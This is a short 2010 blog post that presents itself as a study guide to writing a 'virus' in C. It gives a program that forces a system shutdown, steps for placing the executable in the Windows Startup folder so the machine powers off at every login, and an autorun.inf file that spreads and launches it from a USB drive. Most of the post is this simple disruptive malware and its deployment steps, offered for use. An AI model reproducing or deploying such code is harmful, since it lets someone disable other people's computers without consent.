Tuesday, December 28, 2010

Can you Create a Virus in C ?

Just for study purpose : 

1. Create a C program which will shutdown your system whenever you open your system..

# include<dos.h>
void main()
{
system("shutdown -p");
}

a. Save the above program as say shutdown.c
b. Compile the program and get the executable file shutdown.exe
c. Save it into start-up folder.. 
"C:\Users\Amit Raj\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
d. Shutdown and restart the your system now..

2.  Create a USB virus, which will Shutdown your system whenever you insert your Pendrive..

a.  Write the code below in a notepad file
[autorun]
OPEN=shutdown.exe
b. Save the notpad file with the name autorun.inf
c. Copy the autorun.inf and the shutdown.exe into your pendrive
d. Your USB virus is ready..

No comments:

Post a Comment